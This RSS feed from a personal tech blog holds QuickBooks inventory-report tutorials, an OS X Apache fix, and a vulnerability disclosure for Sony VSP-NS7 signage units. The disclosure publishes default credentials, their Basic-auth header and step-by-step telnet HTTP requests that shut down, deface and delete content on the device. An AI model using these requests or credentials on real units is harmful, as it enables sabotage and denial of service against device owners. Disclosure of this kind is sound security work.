<?xml version="1.0" encoding="UTF-8"?> <rss
version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
><channel><title>nDarkness &#187; Software</title> <atom:link href="http://www.ndarkness.com/tag/software/feed/" rel="self" type="application/rss+xml" /><link>http://www.ndarkness.com</link> <description>Step Into The Light</description> <lastBuildDate>Fri, 13 Jan 2012 21:57:13 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=</generator> <item><title>QuickBooks &#8211; Inventory Reorder System Part 1</title><link>http://www.ndarkness.com/2011/05/893/quickbooks-inventory-reorder-system-part-1/</link> <comments>http://www.ndarkness.com/2011/05/893/quickbooks-inventory-reorder-system-part-1/#comments</comments> <pubDate>Sat, 28 May 2011 21:28:00 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computers]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Utilities]]></category> <category><![CDATA[Windows]]></category> <category><![CDATA[Intuit]]></category> <category><![CDATA[QuickBooks]]></category> <category><![CDATA[Technology]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=893</guid> <description><![CDATA[QuickBooks is an exceptionally good and well known piece of accounting software.  I have found that many things can be accomplished with QuickBooks if you are willing to think outside the box to get them done. We all know that inventory is an important part of any business.  It must be tracked and accounted for [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F893%2Fquickbooks-inventory-reorder-system-part-1%2F' data-shr_title='QuickBooks+-+Inventory+Reorder+System+Part+1'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F893%2Fquickbooks-inventory-reorder-system-part-1%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F893%2Fquickbooks-inventory-reorder-system-part-1%2F' data-shr_title='QuickBooks+-+Inventory+Reorder+System+Part+1'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F893%2Fquickbooks-inventory-reorder-system-part-1%2F' data-shr_title='QuickBooks+-+Inventory+Reorder+System+Part+1'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p>QuickBooks is an exceptionally good and well known piece of accounting software.  I have found that many things can be accomplished with QuickBooks if you are willing to think outside the box to get them done.</p><p>We all know that inventory is an important part of any business.  It must be tracked and accounted for properly to ensure fluid day to day operations.  We can train our staff and schedule customer service calls but if we don&#8217;t have the inventory on hand, we are stuck in a waiting game.</p><p>QuickBooks does not have a very good method to set-up reorder alerts at specific quantities.  You are allowed to set a reorder point for specific items and view them in the Company Snapshot screen.  Unfortunately we don&#8217;t know the specific quantity to order for each item or what the total cost of the order will be.  So how do we add this ability?  Why isn&#8217;t this feature included?  We could purchase third party software to accomplish this task but who wants to spend additional money on a feature that really should be included.</p><p>In this three part series I will show you how to modify existing inventory items we want to track, customize a report of these items and filter the results to give us an easy to use inventory reorder list.</p><p>Our first goal in this process is to edit the existing inventory items that we need to track.  These should be essential items that are used on a frequent basis.  First open up the item list, Lists =&gt; Item List, and double click on the items that need to be modified.  At the bottom of the Edit Item screen, you will notice a field labeled Reorder Point.  This is what QuickBooks uses to trigger a reorder point in the Company Snapshot screen.  You will need to enter the minimum quantity on hand that will prompt you to reorder.</p><p><img
style="display: block; margin-left: auto; margin-right: auto;" title="Reorder Point.png" src="http://www.ndarkness.com/wp-content/uploads/2011/05/Reorder-Point.png" border="0" alt="Reorder Point" width="487" height="100" /></p><p>Now, lets setup a custom field to tell us how much of one item we wish to order.  This will be the maximum quantity that we wish to have on hand.  To do this we must be in single user mode if you work in a multi-user environment.  Next we need to click on Custom Field =&gt; Define Fields and select an unused label.  We will name this label Max Reorder Qty and make sure that the Use box is checked.  The final thing left to do is enter the max quantity we wish to have on hand of the particular item and click OK for all screens.</p><p><img
style="display: block; margin-left: auto; margin-right: auto;" title="Max Reorder.png" src="http://www.ndarkness.com/wp-content/uploads/2011/05/Max-Reorder.png" border="0" alt="Max Reorder Qty Setup" width="487" height="383" /></p><p>Once you have finished setting up all of the items that you wish to track in your inventory list, we are ready to move on to the next part of our series.  <a
href="http://www.ndarkness.com/?p=908">QuickBooks &#8211; Inventory Reorder System Part 2</a> &#8211; Setting up a custom reorder report.</p><p><a
style="float: right;" href="http://www.ndarkness.com/?p=908">[Generate Report Part 2]</p><div
class="shr-publisher-893"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2011/05/893/quickbooks-inventory-reorder-system-part-1/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>QuickBooks &#8211; Inventory Reorder System Part 2</title><link>http://www.ndarkness.com/2011/05/908/quickbooks-inventory-reorder-system-part-2/</link> <comments>http://www.ndarkness.com/2011/05/908/quickbooks-inventory-reorder-system-part-2/#comments</comments> <pubDate>Sat, 28 May 2011 21:27:42 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computers]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Utilities]]></category> <category><![CDATA[Windows]]></category> <category><![CDATA[Intuit]]></category> <category><![CDATA[QuickBooks]]></category> <category><![CDATA[Technology]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=908</guid> <description><![CDATA[[Set up Items Part 1][Export to Excel Part 3] In part one of our inventory reorder system series, we learned how to set our items up to have reorder points and max reorder quantities. Now we need be able to generate a report so that we know what needs to be reorder and how many [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F908%2Fquickbooks-inventory-reorder-system-part-2%2F' data-shr_title='QuickBooks+-+Inventory+Reorder+System+Part+2'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F908%2Fquickbooks-inventory-reorder-system-part-2%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F908%2Fquickbooks-inventory-reorder-system-part-2%2F' data-shr_title='QuickBooks+-+Inventory+Reorder+System+Part+2'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F908%2Fquickbooks-inventory-reorder-system-part-2%2F' data-shr_title='QuickBooks+-+Inventory+Reorder+System+Part+2'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p><a
style="float: left;" href="http://www.ndarkness.com/?p=893">[Set up Items Part 1]</a><a
style="float: right;" href="http://www.ndarkness.com/?p=912">[Export to Excel Part 3]</a></p><p
style="clear: both;">In part one of our inventory reorder system series, we learned how to set our items up to have reorder points and max reorder quantities.  Now we need be able to generate a report so that we know what needs to be reorder and how many we need to order.</p><p>To begin this process we will open the item list, Lists =&gt; Item List and click on Reports =&gt; Item Listing at the bottom of the page.</p><p><img
style="display: block; margin-left: auto; margin-right: auto;" title="Item List.png" src="http://www.ndarkness.com/wp-content/uploads/2011/05/Item-List.png" border="0" alt="Item List" width="349" height="98" /></p><p>This will bring up a list of all the items in our inventory list.  We will probably not need all of these parts, so we need to filter the results to give us just the items with reorder points set.  To do this click on Modify Report =&gt; Filters and select Reorder Point.  Now select the option for &gt;= and add a 1 in the text field.</p><p><img
style="display: block; margin-left: auto; margin-right: auto; border: 0px initial initial;" title="Modify Report.png" src="http://www.ndarkness.com/wp-content/uploads/2011/05/Modify-Report.png" border="0" alt="Modify Report" width="487" height="314" /></p><p>Next we need to click on the Display tab and remove several colums.  The columns to remove are price, sales tax code and preferred vendor from the custom report.  Now we need to memorize the report so that we don&#8217;t have to make these changes again.  To do this click on Memorize Report, name it Reorder Report and save it in the inventory group of the memorized reports.</p><p><img
style="display: block; margin-left: auto; margin-right: auto;" title="Memorize Report.png" src="http://www.ndarkness.com/wp-content/uploads/2011/05/Memorize-Report.png" border="0" alt="Memorize Report" width="425" height="198" /></p><p>Now that we have finished this step, we are ready to move on to our final part in the inventory reorder system series.  <a
href="http://www.ndarkness.com/?p=912">QuickBooks &#8211; Inventory Reorder System Part 3.</a></p><p><a
style="float: left;" href="http://www.ndarkness.com/?p=893">[Set up Items Part 1]</a><a
style="float: right;" href="http://www.ndarkness.com/?p=912">[Export to Excel Part 3]</a></p><div
class="shr-publisher-908"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2011/05/908/quickbooks-inventory-reorder-system-part-2/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>QuickBooks &#8211; Inventory Reorder System Part 3</title><link>http://www.ndarkness.com/2011/05/912/quickbooks-inventory-reorder-system-part-3/</link> <comments>http://www.ndarkness.com/2011/05/912/quickbooks-inventory-reorder-system-part-3/#comments</comments> <pubDate>Sat, 28 May 2011 19:19:53 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computers]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Utilities]]></category> <category><![CDATA[Windows]]></category> <category><![CDATA[Intuit]]></category> <category><![CDATA[QuickBooks]]></category> <category><![CDATA[Technology]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=912</guid> <description><![CDATA[[Set up Items Part 1][Generate Report Part 2] In the first two parts of our series, we determined that QuickBooks does not have an all-in-one function to give you a report on items that need to be reordered.  Because of this deficiency, we have developed a system to generate a list in QuickBooks, export it [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F912%2Fquickbooks-inventory-reorder-system-part-3%2F' data-shr_title='QuickBooks+-+Inventory+Reorder+System+Part+3'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F912%2Fquickbooks-inventory-reorder-system-part-3%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F912%2Fquickbooks-inventory-reorder-system-part-3%2F' data-shr_title='QuickBooks+-+Inventory+Reorder+System+Part+3'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F912%2Fquickbooks-inventory-reorder-system-part-3%2F' data-shr_title='QuickBooks+-+Inventory+Reorder+System+Part+3'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p><a
style="float: left;" href="http://www.ndarkness.com/?p=893">[Set up Items Part 1]</a><a
style="float: right;" href="http://www.ndarkness.com/?p=908">[Generate Report Part 2]</a></p><p
style="clear: both;">In the first two parts of our series, we determined that QuickBooks does not have an all-in-one function to give you a report on items that need to be reordered.  Because of this deficiency, we have developed a system to generate a list in QuickBooks, export it to Excel and extract the information we need.</p><p>To generate this report, click on Reports =&gt; Memorized Reports =&gt; Inventory =&gt; Reorder Report.</p><p><img
style="display: block; margin-left: auto; margin-right: auto;" title="ReorderRpt.png" src="http://www.ndarkness.com/wp-content/uploads/2011/05/ReorderRpt.png" border="0" alt="Memorized Report" width="309" height="144" /></p><p>This will bring up an item listing report that has been previously setup and formatted.  This will take care of the QuickBooks side of this process and all that needs to be done now is export the report to Excel and make a few formatting changes.</p><p><strong><em>(Please note that these instructions were written for Office 2003.  If anyone needs instructions for Office 2007, please let me know and I will post them.)</em></strong></p><p>The first change is to shorten header columns for printing purposes.  To allow us to shorten the header columns click on Edit =&gt; Replace or press Ctrl+H.  This will allow you to find and replace words in an Excel document.  The words we want to replace are quantity with Qty, sales order with SO and purchase order with PO.  The next step is to select all of blank column A and delete it.  Now select columns F-J and click on Format =&gt; Columns =&gt; AutoFit Selection.</p><p>Now we need to add two column headers, one for Reorder Qty and one for Total Cost.  Once this is finished your sheet should look similar to the one below.</p><p><img
style="display: block; margin-left: auto; margin-right: auto;" title="Excel Report.png" src="http://www.ndarkness.com/wp-content/uploads/2011/05/Excel-Report.png" border="0" alt="Excel Report" width="434" height="108" /></p><p>With the formatting out of the way we are ready to enter the formula for the reorder quantity column.  Under the Reorder Qty column, J in this example, on the row below the header, enter the following formula:</p><p><pre class="brush: plain; title: ; notranslate">=IF(I2-G2-F2+E2=0,&quot;&quot;,IF(H2=&quot;&quot;,&quot;&quot;,IF(G2&lt;=H2,I2-G2-F2+E2,&quot;&quot;)))</pre></p><p>The first part of this formula checks to see if the max reorder quantity minus the quantity on hand minus the quantity on order plus the quantity on sales order equals zero.  If it does, that means we have enough on order and there is no need to order more.  If H2 is blank don’t add it into the equation either.  If the quantity on hand is not less than or equal to zero then we subtract the same rows again and enter the result into our spreadsheet.</p><p>The total cost column formula will be much easier to type.  All we need to do is multiply the reorder quantity by the cost column to get the total amount.  In this example the formula looks like this:</p><p><pre class="brush: plain; title: ; notranslate">=J2*D2</pre></p><p>With the formulas entered, copy them down to the last row and we are ready to sort the spreadsheet.  Select the reorder quantity header and click Data =&gt; Filter =&gt; AutoFilter.  Now you will notice drop down selection boxes for each of the column headers.  Click on the drop down box for the Reorder Point column and select nonblanks.  Repeat this step for the reorder quantity column.  You should end up with something similar to the picture below.</p><p><img
style="display: block; margin-left: auto; margin-right: auto;" title="Final Rpt.png" src="http://www.ndarkness.com/wp-content/uploads/2011/05/Final-Rpt.png" border="0" alt="Final Report" width="462" height="142" /> <br
/>To total the Total Cost column, we need to insert a sumif formula that will do the work for us.  In our example it would look something similar to what you see below.</p><p><pre class="brush: plain; title: ; notranslate">=SUMIF(J214:J4380,&quot;&gt;0&quot;,K214:K4380)</pre></p><p>This basically says that we need to sum all of column K if the cells in column J are greater than 0.  This formula will vary greatly with each report that is extracted from QuickBooks.</p><p>The only steps remaining are to format and print the report and use it to order the items.  Using this report along with proper tracking of the inventory on hand will make the ordering process much easier.  Feel free to let me know if you have any issues.</p><p><a
style="float: left;" href="http://www.ndarkness.com/?p=893">[Set up Items Part 1]</a><a
style="float: right;" href="http://www.ndarkness.com/?p=908">[Generate Report Part 2]</a></p><div
class="shr-publisher-912"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2011/05/912/quickbooks-inventory-reorder-system-part-3/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Sony VSP-NS7 Digital Signage Hacking</title><link>http://www.ndarkness.com/2010/09/577/sony-vsp-ns7-digital-signage-hacking/</link> <comments>http://www.ndarkness.com/2010/09/577/sony-vsp-ns7-digital-signage-hacking/#comments</comments> <pubDate>Tue, 07 Sep 2010 05:01:12 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computer Security]]></category> <category><![CDATA[Privacy]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Exploit]]></category> <category><![CDATA[Hacking]]></category> <category><![CDATA[Vulnerability]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=577</guid> <description><![CDATA[Recently I tested out a Sony VSP-NS7 digital signage unit for a customer. This machine really impressed me considering I had used its predecessor the NSP100 and the newer technology was just what the client needed. After doing some online searching I found that, other than the manual, there wasn&#8217;t much information out there on [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F09%2F577%2Fsony-vsp-ns7-digital-signage-hacking%2F' data-shr_title='Sony+VSP-NS7+Digital+Signage+Hacking'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F09%2F577%2Fsony-vsp-ns7-digital-signage-hacking%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F09%2F577%2Fsony-vsp-ns7-digital-signage-hacking%2F' data-shr_title='Sony+VSP-NS7+Digital+Signage+Hacking'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F09%2F577%2Fsony-vsp-ns7-digital-signage-hacking%2F' data-shr_title='Sony+VSP-NS7+Digital+Signage+Hacking'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p><img
src="http://www.ndarkness.com/wp-content/blogs.dir/1/files/2010/08/370x251.jpeg" height="100" width="250" style="float: left; padding-right: 10px" />Recently I tested out a Sony <a
href="http://pro.sony.com/bbsc/ssr/app-digitalsignage/cat-digitalsignage/product-VSPNS7/" target="_blank">VSP-NS7</a> digital signage unit for a customer.  This machine really impressed me considering I had used its predecessor the NSP100 and the newer technology was just what the client needed.</p><p>After doing some online searching I found that, other than the manual, there wasn&#8217;t much information out there on this unit.  Knowing that we were going to place this box on a public network, I decided to run a few tests.  I began by firing up <a
href="http://www.wireshark.org/" target="_blank">Wireshark</a> to sniff traffic to and from this box and was very surprised by what I found.</p><p>From this research I was able to determine that there is a web server running on port 4980 by default.  Next I was able to retrieve the default username and password of the box by decoding the base64 string below.</p><ul
style="background-color: #f8f8f8"> <br
/> Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=<br
/> Authorization: Basic NSPXuser:NSPXuser</p><div
style="color: #f8f8f8; font-size:xx-small;">space</div></ul><p>Since this isn&#8217;t published anywhere else I have seen, I would guess that not many users of this system know about it.  In fact I would dare say that most installations of this system are still using the default username and password since Sony only mentions that the box can be controlled using their additional VSPA-D7 management software.  If it costs big bucks it must be good, right?</p><p>Below are <strong><u>some</u></strong> of my findings:</p><ul
style="background-color: #f8f8f8"> <br
/> Default user information<br
/> &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br
/> User: NSPXuser<br
/> Pass: NSPXuser<br
/> Port: 4980</p><p>Found commands<br
/> &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br
/> http://ip:4980	 &#8211; Contains sofware version, unit name, unit and harddrive serial number and MAC address.<br
/> http://ip:4980/import/ &#8211; Contains all user uploaded content.<br
/> http://ip:4980/command.php	 &#8211; Uses several get variables to control the box.<br
/> http://ip:4980/upload.php &#8211; Used in conjunction with get variables to send content to the box.</p><p>http://ip:4980/command.php?cmd=NLOG&#038;comp=cab	- Download system logs.<br
/> http://ip:4980/command.php?cmd=SLOG &#8211; Displays system logs.<br
/> http://ip:4980/command.php?cmd=SYST &#8211; System statistics.<br
/> http://ip:4980/command.php?cmd=DRST &#8211; Harddrive statistics.<br
/> http://ip:4980/command.php?cmd=PLCL &#8211; Play files.<br
/> http://ip:4980/command.php?cmd=SPCL &#8211; Stop playing files.<br
/> http://ip:4980/command.php?cmd=CLST&#038;table=web &#8211; List files based on type &#8211; web, still, movie and text.<br
/> http://ip:4980/command.php?cmd=LCNF &#8211; Load configuration files.<br
/> http://ip:4980/command.php?cmd=RMCL &#8211; Remove files.<br
/> http://ip:4980/command.php?cmd=LTBL &#8211; Load tables.</p><p>Power off and restart<br
/> &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br
/> http://ip:4980/command.php?cmd=RSET&#038;shutdown &#8211; Turn the unit off<br
/> http://ip:4980/command.php?cmd=RSET&#038;reboot &#8211; Restart unit<br
/></p><div
style="color: #f8f8f8; font-size:xx-small;">space</div></ul><h3>Shutdown Sony VSP-NS7</h3><p>Fire up a telnet session and enter:</p><pre class="brush: bash; title: ; notranslate">
telnet ip 4980
Trying ip...
Connected to ip.
Escape character is '^]'.
GET /command.php?cmd=RSET&amp;amp;shutdown HTTP/1.1
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
User-Agent: VSP-NS7 HTTP Connection
Host: ip:4980
Cache-Control: no-cache
</pre><p>Without any warning the unit will shut down and have to be restarted from the box or management software if the network allows magic packets.</p><h3>URL Injection/Defacement Sony VSP-NS7</h3><p>Fire up a telnet session and enter:</p><pre class="brush: bash; title: ; notranslate">
telnet ip 4980
Trying ip...
Connected to ip.
Escape character is '^]'.
PUT /upload.php?href=/import/db/property0.xml&amp;amp;append=0&amp;amp;mkdir=0 HTTP/1.1
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
User-Agent: VSP-NS7 HTTP Connection
Host: ip:4980
Content-Length: 601
Cache-Control: no-cache

&lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot; standalone=&amp;quot;yes&amp;quot;?&gt;
&lt;content ver=&amp;quot;1.0&amp;quot; date=&amp;quot;2010-09-06&amp;quot; time=&amp;quot;21:28:43&amp;quot;&gt;
	&lt;delete table=&amp;quot;WEB_TBL&amp;quot;&gt;
		&lt;index&gt;004000003&lt;/index&gt;
	&lt;/delete&gt;
	&lt;insert table=&amp;quot;WEB_TBL&amp;quot;&gt;
		&lt;index&gt;004000003&lt;/index&gt;
		&lt;cdate&gt;2010-09-06 21:21:55.678&lt;/cdate&gt;
		&lt;title&gt;Pwnage&lt;/title&gt;
		&lt;size&gt;0&lt;/size&gt;
		&lt;deldate&gt;2010-10-06&lt;/deldate&gt;
		&lt;link&gt;http://www.ndarkness.com/?p=577&lt;/link&gt;
		&lt;info&gt;Pwned&lt;/info&gt;
		&lt;change&gt;01&lt;/change&gt;
		&lt;width&gt;0&lt;/width&gt;
		&lt;height&gt;0&lt;/height&gt;
		&lt;xoffset&gt;0&lt;/xoffset&gt;
		&lt;yoffset&gt;0&lt;/yoffset&gt;
		&lt;xoption&gt;0&lt;/xoption&gt;
		&lt;xreload&gt;0&lt;/xreload&gt;
	&lt;/insert&gt;
&lt;/content&gt;
</pre><p>Next we write the group file.</p><pre class="brush: bash; title: ; notranslate">
telnet ip 4980
Trying ip...
Connected to ip.
Escape character is '^]'.
PUT /upload.php?href=/import/group0.xml&amp;amp;append=0&amp;amp;mkdir=0 HTTP/1.1
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
User-Agent: VSP-NS7 HTTP Connection
Host: ip:4980
Content-Length: 185
Cache-Control: no-cache

&lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&gt;
&lt;group ver=&amp;quot;1.0&amp;quot; date=&amp;quot;2010-09-06&amp;quot; time=&amp;quot;21:28:43&amp;quot;&gt;
	&lt;property date=&amp;quot;2010-09-06&amp;quot; time=&amp;quot;21:28:43&amp;quot;&gt;/import/db/property0.xml&lt;/property&gt;
&lt;/group&gt;
</pre><p>Now we need to load the file.</p><pre class="brush: bash; title: ; notranslate">
telnet ip 4980
Trying ip...
Connected to ip.
Escape character is '^]'.
GET /command.php?cmd=LTBL&amp;amp;file=/import/group0.xml&amp;amp;mode=2 HTTP/1.1
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
User-Agent: VSP-NS7 HTTP Connection
Host: ip:4980
Cache-Control: no-cache
</pre><p>Finally let&#8217;s force the unit to call our url.</p><pre class="brush: bash; title: ; notranslate">
telnet ip 4980
Trying ip...
Connected to ip.
Escape character is '^]'.
GET /command.php?cmd=PLCL&amp;amp;id=06&amp;amp;index=004000003 HTTP/1.1
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
User-Agent: VSP-NS7 HTTP Connection
Host: ip:4980
Cache-Control: no-cache
</pre><h3>Delete Files From Sony VSP-NS7</h3><p>First we need to obtain a list of images on the unit.<br
/> Fire up a telnet session and enter:</p><pre class="brush: bash; title: ; notranslate">
telnet ip 4980
Trying ip...
Connected to ip.
Escape character is '^]'.
GET /command.php?cmd=CLST&amp;amp;table=still HTTP/1.1
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
User-Agent: VSP-NS7 HTTP Connection
Host: ip:4980
Cache-Control: no-cache
</pre><p>Now we simply select the image we want to delete and enter the following:</p><pre class="brush: bash; title: ; notranslate">
telnet ip 4980
Trying ip...
Connected to ip.
Escape character is '^]'.
GET /command.php?cmd=RMCL&amp;amp;table=still&amp;amp;index=002000002 HTTP/1.1
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
User-Agent: VSP-NS7 HTTP Connection
Host: ip:4980
Cache-Control: no-cache
</pre><p>The VSPA-D7 management software does allow the default password and port to be changed but if the traffic is sniffed, the password can be easily decoded again.  Not to mention we can use similar attack method to change the password of the box and lock the administrator out.  Talk about a denial of service!</p><p>The only secure solution for this unit, is to use a crossover cable and directly connect to the box or put it on a network by itself.  If you leave it on a public network it is only a matter of time before it falls prey to one of the attacks listed above.</p><div
class="shr-publisher-577"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2010/09/577/sony-vsp-ns7-digital-signage-hacking/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>OS X &#8211; Apache Web Sharing Starts But You Are Unable Connect</title><link>http://www.ndarkness.com/2010/09/634/os-x-apache-web-sharing-starts-but-you-are-unable-connect/</link> <comments>http://www.ndarkness.com/2010/09/634/os-x-apache-web-sharing-starts-but-you-are-unable-connect/#comments</comments> <pubDate>Mon, 06 Sep 2010 20:11:57 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Mac OS X]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Apache]]></category> <category><![CDATA[Mac]]></category> <category><![CDATA[OS X]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=634</guid> <description><![CDATA[In an effort to save you an afternoon of searching, I thought I would post this to help the OS X users having this issue. There are the usual causes of no content in the web root, firewall blocking requests, incorrect permissions and/or httpd.conf syntax errors. The one error that is a little tougher to [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F09%2F634%2Fos-x-apache-web-sharing-starts-but-you-are-unable-connect%2F' data-shr_title='OS+X+-+Apache+Web+Sharing+Starts+But+You+Are+Unable+Connect'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F09%2F634%2Fos-x-apache-web-sharing-starts-but-you-are-unable-connect%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F09%2F634%2Fos-x-apache-web-sharing-starts-but-you-are-unable-connect%2F' data-shr_title='OS+X+-+Apache+Web+Sharing+Starts+But+You+Are+Unable+Connect'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F09%2F634%2Fos-x-apache-web-sharing-starts-but-you-are-unable-connect%2F' data-shr_title='OS+X+-+Apache+Web+Sharing+Starts+But+You+Are+Unable+Connect'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p><img
src="http://www.ndarkness.com/wp-content/blogs.dir/1/files/2010/09/PoweredByMacOSXLarge.gif" width="250" style="float: left; padding-right: 10px" />In an effort to save you an afternoon of searching, I thought I would post this to help the OS X users having this issue.  There are the usual causes of no content in the web root, firewall blocking requests, incorrect permissions and/or httpd.conf syntax errors.  The one error that is a little tougher to track down is apache not being able to create log files.  Check the line in the httpd.conf file that shows the path to apache&#8217;s log file.  It should look something like this:</p><p>ErrorLog &#8220;/private/var/log/apache2/error_log&#8221;</p><p>Now if the directory apache2 does not exist in /private/var/log/, apache will fail to start without giving you much of an error message.  To correct this, in terminal type:</p><pre class="brush: bash; title: ; notranslate">
sudo mkdir /private/var/log/apache2
</pre><p>Enter your admin password and restart apache either in System Preferences=>Sharing=>Web Sharing or in terminal by typing:</p><pre class="brush: bash; title: ; notranslate">
 sudo apachectl restart
</pre><p>Once this is done, enter your web address in the web browser and you should see your pages load.  Hope this helps!</p><div
